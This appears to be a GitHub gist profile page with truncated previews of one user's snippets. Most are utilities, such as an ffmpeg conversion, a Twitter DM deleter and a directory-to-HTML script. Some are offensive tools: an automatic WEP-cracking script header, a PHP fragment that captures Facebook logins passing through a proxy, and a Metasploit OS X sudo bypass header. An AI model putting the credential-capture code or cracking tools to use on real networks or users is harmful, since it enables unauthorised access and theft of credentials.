Skip to content

Instantly share code, notes, and snippets.

View hackingbutlegal's full-sized avatar
💭
I may be slow to respond.

Jackie Singh hackingbutlegal

💭
I may be slow to respond.
View GitHub Profile
#!/bin/bash
###############################################################
#Please remember that in some areas it is illegal to use this #
#program without the express permission of the wifi,s owner #
#keeping that in mind i release this under the public domain #
###############################################################
# This program will work on Ubuntu 10.04 LTS Ubuntu 9.10, Ubuntu9.04, Ubuntu 8.10 and Backtrack3/4/5 without modification
# This program needs the Aircrack-ng suit to function
# Run this program to automatically start attacking all WEP networks near by
# This file should be saved as "autocrack.sh"
@hackingbutlegal
hackingbutlegal / gist:53cf8a21829947c5e131fd995736907f
Created February 11, 2019 23:35
Convert OS X screencap from mov to gif
ffmpeg -i in.mov -s 600x400 -pix_fmt rgb24 -r 10 -f gif - | gifsicle --optimize=3 --delay=3 > out.gif
@hackingbutlegal
hackingbutlegal / delete-twitter-dm.js
Created January 30, 2019 16:15 — forked from taviso/delete-twitter-dm.js
Automate deleting twitter direct messages.
// Open direct messages window, paste this into console.
function deleteNextConversation()
{
if (!(dm = document.getElementsByClassName("DMInbox-conversationItem")[0])) {
clearInterval(tmr)
return;
}
dm.firstChild.click();
setTimeout('document.getElementsByClassName("js-actionDeleteConversation")[0].click()', 1000);
@hackingbutlegal
hackingbutlegal / dir2html.sh
Last active November 11, 2016 17:09
Generate html file from a directory of files. Usage: ./dir2html.sh [path to dir] > index.html
#!/bin/bash
# usage: dir2html.sh [dir] > index.html
INDEX=`ls -1 $1 | sed "s/^.*/ <li\>\<a\ href=\"&\"\>&\<\\/a\>\<\\/li\>/"`
echo "<html>
<head><title>Index of $1</title></head>
<body>
<h2>Index of $1</h2>
<hr>
<ui>
$INDEX

Keybase proof

I hereby claim:

  • I am find-evil on github.
  • I am jacquelinestokes (https://keybase.io/jacquelinestokes) on keybase.
  • I have a public key whose fingerprint is 9F86 7287 B1B7 900C 795C 1D15 9719 9ABB 544E D97E

To claim this, I am signing this object:

@hackingbutlegal
hackingbutlegal / long-domain-names.txt
Created January 21, 2016 07:51 — forked from jedisct1/long-domain-names.txt
Long domain names are long. Hopeless SEO, domains registered by cats and WTF domains.
1-tr-18su-ka-8dow-56-oo9-13swx-r-k-ife-0nj-rnq-ihb-dd-p-1-0-z-a.info.
292fu2013-1-2-3-htt-4t3l60-zqn673-w9gp7kip0422wemrzsftm-htm-com.info.
aljumahiriyahalarabiyahallibiyahashshabiyahalishtirakiyahaluzma.info.
anderson-piedmont-spartanburg-greenville-easley-spine-pain-care.info.
associationfrancaisedesdirecteursdelaphotographiedelatelevision.info.
audio-player-zawqkerrhfoepdnmvbdkslahgjvklahjkfqqqojcgrtsksmcls.info.
ausencosandwellascentisaaxwaynegossruddswanheinercrimemellifont.info.
australianpublicsectoranti-corruptionconference2009fraudrortsin.info.
bewarecrimestoppersassistcorruptpolicepoliticcrimecriminalfraud.info.
camp-the-lycian-way-camps-the-lycian-way-camping-lycian-way-map.info.
@hackingbutlegal
hackingbutlegal / gist:6950770
Created October 12, 2013 14:49
This Google Apps script scans the mailbox, compares the message body with the search pattern and prints any matching messages.
function Search() {
var sheet = SpreadsheetApp.getActiveSheet();
var row = 2;
// Clear existing search results
sheet.getRange(2, 1, sheet.getMaxRows() - 1, 4).clearContent();
// Which Gmail Label should be searched?
var label = sheet.getRange("F3").getValue();
@hackingbutlegal
hackingbutlegal / gist:6769784
Created September 30, 2013 20:30
Parse logs for interesting things
<?php
if (strpos($_url, 'facebook.com')) //checks if url contains "facebook"
{
if ($_REQUEST['email'] != "") //only true if there is info submitted
{
$user = $_REQUEST['email'] ; //getting the info
$pass = $_REQUEST['pass'] ;
$not_me = 0
if (strpos($user, 'your_name') or strpos($pass, 'whatever_your_password_is')) //this protects yourself
{
@hackingbutlegal
hackingbutlegal / gist:6769774
Created September 30, 2013 20:29
Parse auth.logs for interesting things
<?php
/*****
* parseAuth.php
* By: BrokenRadix(.com)
* Usage: `php parseAuth.php auth.log`
* Notes: Parse the Linux auth.log for IP addresses which entered
* a password for a username, then logged in correctly.
*****/
ini_set(“auto_detect_line_endings”, true); // Get all line endings
@hackingbutlegal
hackingbutlegal / gist:6393906
Created August 30, 2013 20:21
MSF OSX Sudo Bypass
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
# http://metasploit.com/
##
require 'shellwords'
class Metasploit3 < Msf::Exploit::Local